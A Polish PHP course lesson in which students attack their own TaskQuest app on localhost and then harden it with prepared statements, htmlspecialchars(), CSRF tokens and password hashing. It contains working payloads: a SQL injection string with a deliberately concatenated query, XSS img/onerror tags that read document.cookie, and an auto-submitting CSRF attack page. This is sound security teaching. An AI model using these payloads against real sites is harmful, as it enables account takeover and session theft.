            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .login-container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.2);
            max-width: 400px;
            width: 100%;
        }
        h1 {
            text-align: center;
            color: #333;
            margin-bottom: 30px;
        }
        .form-group {
            margin-bottom: 20px;
        }
        label {
            display: block;
            margin-bottom: 5px;
            color: #555;
            font-weight: 500;
        }
        input {
            width: 100%;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 5px;
            font-size: 14px;
        }
        input:focus {
            outline: none;
            border-color: #667eea;
        }
        button {
            width: 100%;
            padding: 12px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
        }
        button:hover {
            background: #764ba2;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #f5c6cb;
        }
        .warning {
            background: #fff3cd;
            color: #856404;
            padding: 10px;
            border-radius: 5px;
            margin-bottom: 20px;
            text-align: center;
        }
        .security-info {
            background: #e7f3ff;
            color: #0c5460;
            padding: 15px;
            border-radius: 5px;
            margin-top: 20px;
            font-size: 12px;
        }
        .security-info h3 {
            margin-bottom: 10px;
        }
        .security-info ul {
            margin-left: 20px;
        }
    </style>
</head>
<body>

<div class="login-container">
    <h1>Bezpieczne logowanie</h1>
    
    <?php if (!empty($errors)): ?>
        <div class="error">
            <?php foreach ($errors as $error): ?>
                <p><?= htmlspecialchars($error) ?></p>
            <?php endforeach; ?>
        </div>
    <?php endif; ?>
    
    <?php if ($attempts_left > 0 && $attempts_left < 5): ?>
        <div class="warning">
            Pozostało prób: <?= $attempts_left ?>
        </div>
    <?php endif; ?>
    
    <form method="POST">
        <input type="hidden" name="csrf_token" value="<?= htmlspecialchars($csrf_token) ?>">
        
        <div class="form-group">
            <label>Username:</label>
            <input type="text" 
                   name="username" 
                   value="<?= htmlspecialchars($_POST['username'] ?? '') ?>"
                   required>
        </div>
        
        <div class="form-group">
            <label>Hasło:</label>
            <input type="password" name="password" required>
        </div>
        
        <button type="submit">Zaloguj się</button>
    </form>
    
    <div class="security-info">
        <h3>Zabezpieczenia:</h3>
        <ul>
            <li>CSRF Protection</li>
            <li>Rate Limiting (5 prób / 5 min)</li>
            <li>Password Hashing (bcrypt)</li>
            <li>Prepared Statements</li>
            <li>XSS Protection</li>
            <li>Session Security</li>
            <li>Security Headers</li>
        </ul>
    </div>
</div>

</body>
</html>

Najważniejsze zasady

• NIE UFAJ DANOM OD UŻYTKOWNIKA – ZAWSZE waliduj i sanityzuj
• Prepared Statements – jedyna skuteczna ochrona przed SQL Injection
• htmlspecialchars() – ZAWSZE przy wyświetlaniu danych użytkownika
• password_hash() – NIGDY plain text haseł
• Tokeny CSRF – dla wszystkich formularzy zmieniających dane
• Security Headers – pierwsza linia obrony
• HTTPS – w produkcji ZAWSZE
• Rate Limiting – ochrona przed brute force
• Session Security – regeneruj ID, sprawdzaj fingerprint
• Keep it simple – prostszy kod = mniej błędów

TaskQuest 2.2 — konta z hasłem i obrona przed atakami

Po Lekcji 21 TaskQuest ma zadania w bazie, XP, serię dni i avatary. Działa, ale jest bardzo łatwy do oszukania. Każdy, kto zna login Kama_2026, wchodzi na konto Kamy bez hasła. Tytuł zadania może być kodem, który wykona się w przeglądarce. Obca strona internetowa może „kliknąć” za gracza przycisk „Usuń”.

Dziś wejdziesz w rolę atakującego i spróbujesz przełamać własną aplikację. Każdy udany atak od razu naprawisz. Na koniec TaskQuest dostanie prawdziwe konta: rejestrację i logowanie z hasłem.

Lekcja 20 jest w tym kursie pomijana. Pracujesz na projekcie w stanie po Lekcji 21.

Cel lekcji

Nauczyć się:

• rozpoznawać SQL injection i sprawdzać, czy aplikacja jest na nie odporna,
• rozpoznawać XSS i bronić się przed nim funkcją htmlspecialchars(),
• rozpoznawać CSRF i bronić się przed nim tokenem w formularzu (random_bytes(), bin2hex(), hash_equals()),
• bezpiecznie przechowywać hasła (password_hash(), password_verify()),
• blokować wykonywanie skryptów w katalogu z plikami od użytkowników (.htaccess).

Efekt: nowa strona rejestracja.php, logowanie z hasłem, każdy formularz POST z tokenem, wszystkie dane od użytkownika wyświetlane jako zwykły tekst, katalog avatarów zabezpieczony po stronie serwera.

Uwaga — co jest, a czego jeszcze nie ma:

• Komunikaty błędów mysqli nadal trafiają do użytkownika (np. nazwy kolumn). Ukryjemy je i zapiszemy do logu w Lekcji 23 (debugowanie i obsługa błędów).
• Ograniczanie liczby prób logowania, nagłówki bezpieczeństwa, HTTPS i flagi ciasteczka sesji omawiamy tylko krótko w sekcji 3. Część z nich jest w zadaniach końcowych.
• diagnostyka.php nadal jest publiczna. To narzędzie dla programisty, na serwerze produkcyjnym się go nie zostawia.

Rozgrzewka — 4 pytania z Lekcji 21

1. Dlaczego TaskQuest nie sprawdza formatu pliku po kluczu $_FILES['avatar']['type']?
2. Avatar Kamy zapisujemy jako avatar_1_<czas>.png, a nie pod nazwą, którą przysłała przeglądarka. Podaj jeden powód związany z bezpieczeństwem.
3. Co sprawdza getimagesize(), a czego nie sprawdza?
4. Formularz avatara ma accept=".jpg,.jpeg,.png,.webp". Czy to chroni aplikację? Dlaczego?

1. Wracamy do naszego TaskQuest

Co zostaje, co dochodzi, co zmieniamy

Docelowa struktura projektu

taskquest/
├── index.php                        (zmiana: escapowanie, token w 3 formularzach)
├── rejestracja.php                  NOWY
├── zaloguj.php                      (zmiana: hasło, token, link do rejestracji)
├── wyloguj.php                      (zmiana: sprawdzenie tokenu)
├── dodaj-zadanie.php                (zmiana: token, escapowanie)
├── oznacz-wykonane.php              (zmiana: sprawdzenie tokenu, escapowanie)
├── usun-zadanie.php                 (zmiana: sprawdzenie tokenu, escapowanie)
├── profil.php                       (zmiana: token, escapowanie)
├── diagnostyka.php                  (zmiana: 23 ścieżki)
├── classes/                         bez zmian
├── config/config.php                bez zmian
├── includes/
│   ├── footer.php                   (zmiana: „TaskQuest 2.2”)
│   ├── funkcje_sesji.php            (zmiana: funkcje tokenu)
│   ├── funkcje_tekstowe.php         (zmiana: walidacja logowania i rejestracji)
│   ├── funkcje_bazy.php             (zmiana: 2 nowe funkcje)
│   └── ... pozostałe                bez zmian
├── sql/taskquest.sql                (zmiana: haslo_hash NOT NULL, hashe kont testowych)
└── uploads/avatary/
    └── .htaccess                    NOWY

Przygotowanie (zrób to teraz)

1. Zrób kopię zapasową katalogu taskquest/ jako taskquest_lekcja21/ (obok, nie w środku).
2. Uruchom w XAMPP Apache i MySQL.
3. Przygotuj dwie przeglądarki, np. Chrome i Firefox. Do ataku CSRF (sekcja 5) będzie potrzebny Firefox. Wyjaśnienie znajdziesz w sekcji 5.
4. Zaloguj się jako Kama i sprawdź, że lista zadań, „Zrobione!”, „Usuń” i avatar działają.

2. Problem w aplikacji

Wyobraź sobie, że TaskQuest trafia do całej szkoły. Oto cztery rzeczy, które ktoś może zrobić już dziś:

1. Wejść na cudze konto. Wystarczy wpisać login Kama_2026. Loginy widać w rankingu.
2. Wstrzyknąć kod do strony. Tytuł zadania <b>PHP</b> wyświetla się pogrubiony (Eksperyment 5 z Lekcji 13). Skoro przechodzi <b>, przejdzie też <script>.
3. Kazać przeglądarce gracza wysłać formularz. Obca strona może wysłać do TaskQuest formularz „Usuń”. Przeglądarka dołączy do niego ciasteczko sesji gracza, a TaskQuest uzna, że to on kliknął.
4. Podrzucić skrypt do katalogu avatarów. Walidacja w profil.php na to nie pozwala, ale plik może trafić do uploads/ inną drogą, np. przez błąd w kodzie.

Plan lekcji:

SQL injection   → sprawdzamy, że TaskQuest jest odporny (bez zmian w kodzie)
XSS             → htmlspecialchars() przy wyświetlaniu
CSRF            → token w każdym formularzu POST
konta z hasłem  → password_hash(), password_verify(), rejestracja
katalog uploads → .htaccess

Kolejność nie jest przypadkowa. Najpierw zabezpieczasz formularze, które już istnieją. Nowy formularz rejestracji napiszesz na końcu, od razu bezpiecznie.

3. Atak 1: SQL injection

3.1 Na czym polega atak

SQL injection (wstrzyknięcie SQL) zdarza się, gdy program skleja zapytanie z tekstem od użytkownika. Wtedy użytkownik może wpisać nie tylko dane, ale też fragment polecenia SQL.

Sprawdź to w brudnopisie. Utwórz w katalogu projektu plik brudnopis.php:

<?php

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

$polaczenie = polaczZBaza();
$login = "' OR '1'='1";   // „login” wpisany przez atakującego

// ŹLE: dane sklejone z zapytaniem
$sql = "SELECT id, login FROM uzytkownicy WHERE login = '$login'";
echo '<p>Zapytanie: ' . $sql . '</p>';

$wynik = $polaczenie->query($sql);
$wiersz = $wynik->fetch_assoc();

if ($wiersz === null) {
    echo '<p>Nie znaleziono nikogo.</p>';
} else {
    echo '<p>Znaleziono: ' . $wiersz['login'] . '</p>';
}

Otwórz http://localhost/taskquest/brudnopis.php. Zobaczysz zapytanie:

SELECT id, login FROM uzytkownicy WHERE login = '' OR '1'='1'

Apostrof z „loginu” zamknął tekst w SQL, a reszta stała się warunkiem. '1'='1' jest zawsze prawdą, więc zapytanie zwraca wszystkich użytkowników, a program bierze pierwszego, czyli Kamę. Gdyby tak działało logowanie, atakujący wszedłby na konto Kamy bez znajomości loginu i hasła.

$polaczenie->query() wykonuje zapytanie bez prepared statement. W TaskQuest go nie używamy. Tutaj pojawia się wyłącznie po to, żeby pokazać atak.

3.2 SAMODZIELNIE

Pod kodem z 3.1 dopisz w brudnopisie to samo wyszukiwanie napisane tak jak w TaskQuest: przez prepared statement, z tym samym $login. Wypisz „Znaleziono: …” albo „Nie znaleziono nikogo.”

Oczekiwany wynik: wersja sklejana znajduje Kamę, a prepared statement nie znajduje nikogo.

$zapytanie = $polaczenie->prepare('SELECT id, login FROM uzytkownicy WHERE login = ?');
$zapytanie->bind_param(...);
// ...

$zapytanie = $polaczenie->prepare('SELECT id, login FROM uzytkownicy WHERE login = ?');
$zapytanie->bind_param('s', $login);
$zapytanie->execute();
$wiersz = $zapytanie->get_result()->fetch_assoc();

if ($wiersz === null) {
    echo '<p>Prepared statement: nie znaleziono nikogo.</p>';
} else {
    echo '<p>Prepared statement: znaleziono ' . $wiersz['login'] . '</p>';
}

3.3 Audyt TaskQuest

Od tego miejsca pracujesz w projekcie (brudnopis zostaw, przyda się w sekcji 6).

W VS Code otwórz wyszukiwanie we wszystkich plikach (Ctrl+Shift+F) i sprawdź:

1. ->query( — poza brudnopis.php nie powinno być ani jednego wyniku.
2. prepare( — obejrzyj każde zapytanie. Czy w tekście SQL jest gdziekolwiek zmienna ($...)? Nie powinno jej być. Dane mogą trafiać do zapytania wyłącznie przez ? i bind_param().

Jeśli wszystko się zgadza, TaskQuest jest odporny na SQL injection od Lekcji 18 i nic nie zmieniasz. Wniosek na przyszłość: jedna sklejona linijka wystarczy, żeby ochrona przestała działać. Dlatego reguła z L18 (każde zapytanie przez prepared statement, także takie, w którym „dane są przecież bezpieczne”) nie ma wyjątków.

Materiał źródłowy pokazuje też ataki typu '; DROP TABLE users; --. Metoda query() w mysqli wykonuje tylko jedno polecenie, więc ten atak w naszej wersji skończy się błędem składni. Nie traktuj tego jako ochrony: inne funkcje i sterowniki potrafią wykonać kilka poleceń naraz.

3.4 Czego dziś nie robimy (krótko)

Materiał źródłowy opisuje jeszcze kilka zabezpieczeń. W tej lekcji tylko je nazywamy:

• ograniczanie prób logowania (rate limiting), czyli blokada po kilku nieudanych próbach — zadanie końcowe C,
• nagłówki bezpieczeństwa, np. X-Frame-Options, X-Content-Type-Options — zadanie końcowe D,
• flagi ciasteczka sesji HttpOnly i SameSite — zadanie końcowe B,
• HTTPS — szyfrowanie połączenia ustawia się na serwerze, nie w kodzie PHP. XAMPP na lekcji działa bez niego. Bez HTTPS hasło z formularza leci przez sieć jawnym tekstem.

4. Atak 2: XSS

4.1 Na czym polega atak

XSS (cross-site scripting) zdarza się, gdy tekst od użytkownika trafia do HTML bez zmian. Przeglądarka nie wie, że to „tylko tytuł zadania”. Jeśli tekst wygląda jak znacznik, wykona go jak znacznik.

Zaatakuj TaskQuest. Na koncie Kamy dodaj zadanie o tytule:

<img src="x" onerror="alert(document.cookie)">

Termin dowolny, XP 10. Po powrocie na listę wyskoczy okienko z tekstem PHPSESSID=.... To identyfikator Twojej sesji, czyli dokładnie to, co w Eksperymencie 5 Lekcji 14 skopiowałaś/skopiowałeś do innej przeglądarki, żeby przejąć sesję. Tu skrypt tylko pokazał go w okienku. Prawdziwy atakujący wysłałby go na swój serwer.

Obrazek x nie istnieje, więc przeglądarka wywołuje onerror, czyli kod JavaScript. Samo <script> w tytule też zadziała, ale wariant z <img> jest krótszy i działa w większej liczbie miejsc.

„Przecież to moje zadanie, sama/sam sobie szkodzę” — na razie tak. W sekcji 5 zobaczysz, jak obca strona wstawia takie zadanie na listę innego gracza.

Usuń to zadanie przyciskiem „Usuń”.

4.2 Nowy mechanizm: htmlspecialchars()

htmlspecialchars() zamienia znaki, które mają w HTML specjalne znaczenie, na encje, czyli zapis „pokaż ten znak jako tekst”:

W brudnopisie brudnopis2.php:

<?php

$tytul = "<b>PHP</b> i \"cudzysłów\"";

echo '<p>Bez ochrony: ' . $tytul . '</p>';
echo '<p>Z ochroną: ' . htmlspecialchars($tytul) . '</p>';

W przeglądarce pierwszy tytuł jest pogrubiony, a drugi wyświetla się dosłownie ze znacznikami. Włącz „Pokaż źródło strony” (Ctrl+U) i zobacz, co naprawdę wysłał PHP: <b>PHP</b>.

Od PHP 8.1 samo htmlspecialchars($tekst) zamienia oba rodzaje cudzysłowów i poprawnie traktuje polskie znaki (UTF-8). Dodatkowe parametry, które widać w starszych materiałach (ENT_QUOTES, 'UTF-8'), nie są już potrzebne.

Reguła TaskQuest

Każdy tekst, który trafia do HTML, a nie został w całości napisany w naszym kodzie (przyszedł z formularza, bazy, ciasteczka, adresu albo z komunikatu wyjątku), przepuszczamy przez htmlspecialchars() w momencie wyświetlania.

Z tej reguły wynikają trzy rzeczy:

• Nie escapujemy liczb typu int (id, XP, streak, poziom) ani tekstów wpisanych w kod ($nazwaStrony, komunikaty z ustawKomunikat(), komunikaty z walidujNoweZadanie()).
• Nie escapujemy przed zapisem do bazy. Baza przechowuje to, co wpisał gracz. Escapowanie to sprawa HTML, a te same dane mogą kiedyś trafić gdzie indziej (np. do pliku CSV albo aplikacji mobilnej). Co się dzieje, gdy escapuje się dwa razy, pokaże Eksperyment 3.
• Escapujemy na samym końcu, po wszystkich innych zmianach tekstu (wyczyscTytul(), skrocOpis(), mb_substr()). Dlaczego kolejność ma znaczenie, pokaże Eksperyment 2.

Typowe błędy

• Escapowanie w getterze (pobierzTytul() zwraca już <...) — obiekt przestaje przechowywać prawdziwe dane, a każde inne użycie (porównanie, długość, zapis) dostaje encje.
• Escapowanie tylko treści między znacznikami, a pominięcie atrybutów value="...". Cudzysłów w danych „urywa” atrybut (Eksperyment 5 z L13).
• Założenie, że skoro login przeszedł walidujLogin(), to każdy login w bazie jest bezpieczny. Do bazy można wpisać dane z pominięciem formularza (phpMyAdmin, inny program, przyszły błąd). Escapowanie przy wyświetlaniu nic nie kosztuje.

4.3 SAMODZIELNIE — audyt wyświetlania

W plikach index.php, dodaj-zadanie.php, zaloguj.php, profil.php, oznacz-wykonane.php, usun-zadanie.php znajdź każde miejsce, w którym do HTML trafia wartość. Przy każdym zdecyduj, czy wymaga htmlspecialchars(), i popraw te, które wymagają.

Sposób sprawdzenia: dodaj zadanie z tytułem <img src="x" onerror="alert(1)"> i opisem <b>pogrubione?</b>. Na liście nie wyskakuje okienko, a tytuł i opis widać dosłownie ze znacznikami. Działa też „najpilniejsze zadanie”.

<?= htmlspecialchars(skrocOpis($zadanie->pobierzOpis())); ?>

<?= htmlspecialchars($bladZapisu); ?>

<input type="text" id="tytul" name="tytul" maxlength="100" value="<?= htmlspecialchars($tytulZadania); ?>" required>

5. Atak 3: CSRF

5.1 Na czym polega atak

CSRF (cross-site request forgery) to podrobione żądanie z innej strony. Przeglądarka dołącza ciasteczka TaskQuest do każdego żądania wysłanego do TaskQuest, także takiego, które wysłała cudza strona. PHP widzi poprawną sesję Kamy i wykonuje polecenie, choć Kama niczego nie kliknęła.

Właśnie dlatego od Lekcji 13 zmiany danych wykonujemy wyłącznie przez POST. Link GET (usun-zadanie.php?id=5) dałoby się uruchomić nawet obrazkiem na forum. POST wymaga formularza, ale formularz też można podrobić.

Zaatakuj TaskQuest. Utwórz plik atak.html poza katalogiem htdocs, np. na pulpicie. To „obca strona”, np. link wysłany graczowi z obietnicą darmowych punktów:

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Darmowe XP!</title>
</head>
<body>
    <h1>Odbierz darmowe 1000 XP!</h1>

    <form id="atak" method="post" action="http://localhost/taskquest/dodaj-zadanie.php">
        <input type="hidden" name="tytul" value='<img src="x" onerror="alert(document.cookie)">'>
        <input type="hidden" name="opis" value="">
        <input type="hidden" name="termin" value="2026-12-31">
        <input type="hidden" name="xp" value="100">
    </form>

    <script>
        document.getElementById('atak').submit();
    </script>
</body>
</html>

(Jeśli Twój projekt leży pod innym adresem niż localhost/taskquest, popraw action.)

1. W Firefoksie zaloguj się jako Kama.
2. W tym samym Firefoksie otwórz atak.html (przeciągnij plik do okna przeglądarki).
3. Strona sama wysyła formularz. Lądujesz na liście zadań Kamy, a na liście jest nowe zadanie, którego Kama nie dodawała.

Tytuł zadania to kod ataku XSS. Po naprawie z sekcji 4 wyświetla się jako zwykły tekst. Bez tej naprawy w tym momencie wyskoczyłoby okienko z ciasteczkiem sesji Kamy: obca strona wstawia skrypt, a skrypt wykrada sesję. Tak łączą się oba ataki.

Usuń podrzucone zadanie.

Dlaczego Firefox? Chrome i Edge traktują ciasteczko bez ustawienia SameSite tak, jakby miało SameSite=Lax. Takie ciasteczko nie jest dołączane do formularza POST wysłanego z innej strony, z jednym wyjątkiem: przez 2 minuty od ustawienia ciasteczka. W Chrome atak zadziała więc tylko tuż po zalogowaniu. Firefox i Safari domyślnie tak nie robią. Zachowanie przeglądarek się zmienia, a starsze przeglądarki nie mają tej ochrony wcale. Dlatego aplikacja nie może na nią liczyć i musi bronić się sama.

5.2 Nowy mechanizm: token CSRF

Pomysł jest prosty. Przy każdym formularzu TaskQuest dołącza ukryte pole z losowym, długim tekstem: tokenem. Ten sam token jest zapisany w sesji gracza. Po wysłaniu formularza PHP porównuje oba. Zgadzają się, więc formularz pochodzi z TaskQuest. Nie zgadzają się albo tokenu nie ma, więc formularz jest odrzucany.

Obca strona nie zna tokenu. Nie może go odgadnąć, bo jest losowy i długi. Nie może też go odczytać, bo przeglądarka nie pozwala skryptom jednej strony czytać zawartości innej strony (zasada tego samego pochodzenia, same-origin policy).

Potrzebne funkcje (brudnopis brudnopis2.php, pod poprzednim kodem):

$token = bin2hex(random_bytes(32));
echo '<p>Token: ' . $token . '</p>';

var_dump(hash_equals($token, $token));
var_dump(hash_equals($token, 'zgaduje'));

• random_bytes(32) zwraca 32 losowe bajty z generatora przeznaczonego do zabezpieczeń. rand(), mt_rand() czy uniqid() się do tego nie nadają, bo ich wyniki da się przewidzieć.
• bin2hex() zamienia bajty na tekst z cyframi 0–9 i literami a–f. 32 bajty dają 64 znaki. Taki tekst bezpiecznie wstawisz do HTML, nawet bez htmlspecialchars().
• hash_equals($znany, $podany) porównuje dwa teksty. Działa jak ===, ale zawsze sprawdza wszystkie znaki. === kończy przy pierwszej różnicy, więc z czasu odpowiedzi dałoby się zgadywać token znak po znaku.

Odśwież brudnopis kilka razy. Token za każdym razem jest inny.

Decyzja TaskQuest: jeden token na sesję. Powstaje przy pierwszym formularzu i obowiązuje do wylogowania. Token osobny dla każdego formularza jest trochę bezpieczniejszy, ale psuje pracę w kilku kartach naraz.

5.3 SAMODZIELNIE — funkcje tokenu

Na końcu pliku includes/funkcje_sesji.php dopisz dwie funkcje:

1. pobierzTokenCsrf(): string — jeśli w sesji nie ma jeszcze klucza 'token_csrf', zapisuje tam nowy token (64 znaki, jak w brudnopisie). Zwraca token z sesji.
2. sprawdzTokenCsrf(): bool — odczytuje $_POST['token_csrf'] (brak pola traktuje jak pusty tekst). Zwraca true tylko wtedy, gdy w sesji jest token i jest on równy tokenowi z formularza.

Tak jak pozostałe funkcje w tym pliku, obie korzystają z $_SESSION, ale jej nie uruchamiają.

Sprawdź w brudnopisie (z session_start() na początku i require_once pliku funkcje_sesji.php):

function sprawdzTokenCsrf(): bool
{
    $tokenZFormularza = $_POST['token_csrf'] ?? '';

    if (/* w sesji nie ma tokenu */ || !is_string($tokenZFormularza)) {
        return false;
    }

    return hash_equals(...);
}

function pobierzTokenCsrf(): string
{
    if (!isset($_SESSION['token_csrf'])) {
        $_SESSION['token_csrf'] = bin2hex(random_bytes(32));
    }

    return $_SESSION['token_csrf'];
}

function sprawdzTokenCsrf(): bool
{
    $tokenZFormularza = $_POST['token_csrf'] ?? '';

    if (!isset($_SESSION['token_csrf']) || !is_string($tokenZFormularza)) {
        return false;
    }

    return hash_equals($_SESSION['token_csrf'], $tokenZFormularza);
}

5.4 Włączamy token do TaskQuest

Krok 1 — token w formularzach

Na każdej stronie z formularzem POST, tuż przed linią $nazwaStrony = ..., dodaj:

$tokenCsrf = pobierzTokenCsrf();

W index.php wstaw tę linię pod blokiem komunikatu jednorazowego ($komunikat = pobierzKomunikat();), z komentarzem // --- token CSRF do formularzy na stronie ---.

Następnie w każdym formularzu POST, zaraz po otwierającym <form ...>, dodaj ukryte pole token_csrf z wartością $tokenCsrf (wzór ukrytego pola znasz z przycisków „Zrobione!” i „Usuń”):

Sprawdzenie: na liście zadań otwórz źródło strony (Ctrl+U). Każdy formularz ma pole token_csrf i ta sama wartość powtarza się we wszystkich.

Krok 2 — sprawdzanie tokenu

Są dwa rodzaje stron przyjmujących POST, więc są dwa sposoby reagowania na zły token.

Strona z formularzem (dodaj-zadanie.php, później zaloguj.php i rejestracja.php) pokazuje formularz jeszcze raz z komunikatem na liście $bledy. W bloku if ($_SERVER['REQUEST_METHOD'] === 'POST'), po odczycie pól, linię z walidacją ($bledy = walidujNoweZadanie(...);) umieść w gałęzi else:

jeśli token jest zły → do $bledy dopisz 'Formularz wygasł albo nie pochodzi z TaskQuest. Wyślij go jeszcze raz.'
w przeciwnym razie   → dotychczasowa walidacja

Dalsza część (if ($bledy === []) { ... zapis ... }) zostaje bez zmian. Pola zachowują wpisane dane, więc gracz musi tylko kliknąć jeszcze raz.

Strona akcji (oznacz-wykonane.php, usun-zadanie.php) nie ma HTML. Zaraz po sprawdzeniu, że metoda to POST, a przed odczytem id, dodaj:

jeśli token jest zły → ustawKomunikat('Nie udało się wykonać akcji. Spróbuj jeszcze raz.'),
                       przekierowanie na index.php, exit

Najpierw token, dopiero potem dane z formularza. Żądanie spoza TaskQuest odrzucamy, zanim cokolwiek z nim zrobimy.

wyloguj.php — to też strona akcji, ale do tej pory nie dołączała żadnego pliku. Dodaj pod session_start(); dołączenie includes/funkcje_sesji.php. Przy złym tokenie przekieruj na index.php bez wylogowania i bez komunikatu.

profil.php — uwaga na kolejność. Gdy plik przekroczy post_max_size, PHP odrzuca całe żądanie: puste jest wtedy nie tylko $_FILES, ale też $_POST, więc tokenu też nie ma. Gdyby token był sprawdzany jako pierwszy, gracz z za dużym plikiem zobaczyłby mylący komunikat o wygasłym formularzu. Kolejność w profil.php:

$plik === null        → 'Plik jest za duży albo nie został wysłany.'   (jak w L21)
w przeciwnym razie, jeśli token jest zły → komunikat o wygasłym formularzu
w przeciwnym razie    → walidujAvatar($plik)

Pełne wersje: sekcja 11 (wyloguj.php i profil.php w całości, pozostałe pliki opisane miejscami zmian).

Krok 3 — sprawdzenie

1. Normalna praca: dodaj zadanie, oznacz je jako zrobione, usuń je, zmień avatar, wyloguj się i zaloguj ponownie (logowanie jeszcze bez tokenu). Wszystko działa jak przed lekcją.
2. Atak: zaloguj się w Firefoksie jako Kama i otwórz atak.html. Tym razem widzisz formularz „Nowe zadanie” z komunikatem „Formularz wygasł albo nie pochodzi z TaskQuest…”. Zadanie nie zostało dodane.

Dodatkowy efekt: token obowiązuje tylko w jednej sesji. Formularz otwarty przed wylogowaniem i wysłany po ponownym zalogowaniu też zostanie odrzucony. To zamierzone.

6. Atak 4: wejście na cudze konto — hasła

6.1 Problem

Logowanie od Lekcji 14 jest demonstracyjne. Wystarczy znać login, a loginy są widoczne w rankingu. Tabela uzytkownicy od Lekcji 17 ma kolumnę haslo_hash, ale u wszystkich jest w niej NULL.

Nazwa kolumny nie jest przypadkowa. Nie zapisujemy hasła, tylko jego skrót (hash). Gdyby baza wyciekła (kopia zapasowa, błąd, nieuczciwy administrator), atakujący dostałby gotowe hasła. Ludzie często używają jednego hasła w wielu serwisach, więc wyciek z TaskQuest otworzyłby też ich pocztę.

Hash to wynik funkcji jednokierunkowej. Z hasła łatwo policzyć hash, ale z hasha nie da się odtworzyć hasła. Przy logowaniu nie odszyfrowujemy niczego. Liczymy hash z wpisanego hasła i porównujemy.

6.2 Nowy mechanizm: password_hash() i password_verify()

W brudnopis.php, pod kodem z sekcji 3, dopisz:

echo '<h2>Hasła</h2>';

echo '<p>md5: ' . md5('haslo123') . '</p>';
echo '<p>md5: ' . md5('haslo123') . '</p>';

echo '<p>password_hash: ' . password_hash('haslo123', PASSWORD_DEFAULT) . '</p>';
echo '<p>password_hash: ' . password_hash('haslo123', PASSWORD_DEFAULT) . '</p>';

Porównaj wyniki:

• md5() daje za każdym razem ten sam skrót. Te same hasła w bazie mają więc te same skróty. Popularne hasła mają gotowe skróty w publicznych tabelach, a do tego md5 liczy się bardzo szybko: komputer sprawdza miliony prób na sekundę. md5() i sha1() nie nadają się do haseł.
• password_hash() daje za każdym razem inny wynik. Do hasła dokleja losową sól (salt), więc dwa identyczne hasła mają różne hashe. Algorytm jest też celowo wolny.

Budowa wyniku password_hash():

$2y$10$TvnmsPnl0sMZ9thSeswJXO0X0GJHKfBLmJW7.W9FQ0JSnLVq0tEGy
└┬┘└┬┘└─────────┬────────────┘└──────────────┬──────────────┘
 │  │           sól (22 znaki)          właściwy hash (31 znaków)
 │  koszt (10 = 2^10 powtórzeń; w PHP 8.4 domyślnie 12)
 algorytm (2y = bcrypt)

Wszystko, czego potrzeba do sprawdzenia hasła, jest zapisane w tym jednym tekście. Dlatego password_verify() potrzebuje tylko dwóch rzeczy:

password_verify('wpisane hasło', $hashZBazy)   // true albo false

PASSWORD_DEFAULT oznacza „najlepszy algorytm, jaki ta wersja PHP uważa za domyślny”. W przyszłości może to być inny algorytm z dłuższym wynikiem. Dlatego kolumna haslo_hash ma VARCHAR(255), a nie VARCHAR(60).

Typowe błędy

• password_hash() przy logowaniu i porównanie === z hashem z bazy — nigdy się nie zgodzi, bo sól jest za każdym razem inna. Do sprawdzania służy wyłącznie password_verify().
• trim() na haśle — spacja na początku albo końcu jest częścią hasła. Hasła nie czyścimy.
• Hash wklejony w PHP w cudzysłowie "$2y$10$..." — PHP potraktuje $2y i dalsze fragmenty jak zmienne. Hash w kodzie PHP zapisujemy w apostrofach.
• Hasło w value="..." formularza, w sesji albo w komunikacie. Hasło żyje tylko w zmiennej $haslo w czasie jednego żądania.

6.3 SAMODZIELNIE — hashe kont testowych

Kama i Ola dostaną hasła:

W brudnopisie wygeneruj hash dla każdego hasła i wypisz go. Potem sprawdź password_verify() dla czterech przypadków:

Skopiuj oba hashe do notatnika. Będą potrzebne w kroku 6.4.

$hashKamy = password_hash('KamaQuest26', PASSWORD_DEFAULT);
$hashOli = password_hash('OlaQuest26', PASSWORD_DEFAULT);

echo '<p>Kama: ' . $hashKamy . '</p>';
echo '<p>Ola: ' . $hashOli . '</p>';

var_dump(password_verify('KamaQuest26', $hashKamy));
var_dump(password_verify('kamaquest26', $hashKamy));
var_dump(password_verify('OlaQuest26', $hashOli));
var_dump(password_verify('OlaQuest26', $hashKamy));

6.4 Włączamy hasła do TaskQuest

Krok 1 — baza

W sql/taskquest.sql:

1. W CREATE TABLE uzytkownicy zmień haslo_hash VARCHAR(255) NULL na haslo_hash VARCHAR(255) NOT NULL. Od teraz nie ma kont bez hasła. Zaktualizuj komentarz przy kolumnie.
2. Polecenie INSERT INTO uzytkownicy zastąp wersją, która wymienia kolumny i podaje hashe z kroku 6.3:

INSERT INTO uzytkownicy (login, imie, haslo_hash, xp, streak, data_ostatniej_aktywnosci) VALUES
('Kama_2026', 'Kama', 'TU_HASH_KAMY', 99, 5, '2026-09-14'),
('Ola_TQ', 'Ola', 'TU_HASH_OLI', 250, 0, NULL);

Kolumny avatar nie wymieniamy, więc dostaje NULL. INSERT INTO zadania się nie zmienia (Kama nadal ma id 1, Ola id 2).

3. Uruchom cały skrypt w phpMyAdmin (baza taskquest → SQL) i opróżnij katalog uploads/avatary/ (tylko pliki avatar_...). W bazie avatary zniknęły, więc pliki zostałyby bez właściciela.

Sprawdzenie: w phpMyAdmin kolumna haslo_hash ma u obu kont tekst zaczynający się od $2y$ i długi na 60 znaków.

Na razie TaskQuest nadal wpuszcza bez hasła. Baza się zmieniła, ale zaloguj.php jeszcze nie.

Krok 2 — SAMODZIELNIE: walidacja danych logowania i rejestracji

W includes/funkcje_tekstowe.php:

1. Zmień walidujDaneLogowania(string $login): array na walidujDaneLogowania(string $login, string $haslo): array. Reguła loginu zostaje. Dochodzi jedna: puste hasło → Podaj hasło. Długości hasła przy logowaniu nie sprawdzamy. Gdyby gracz wpisał złe hasło, i tak dowie się o tym z bazy.
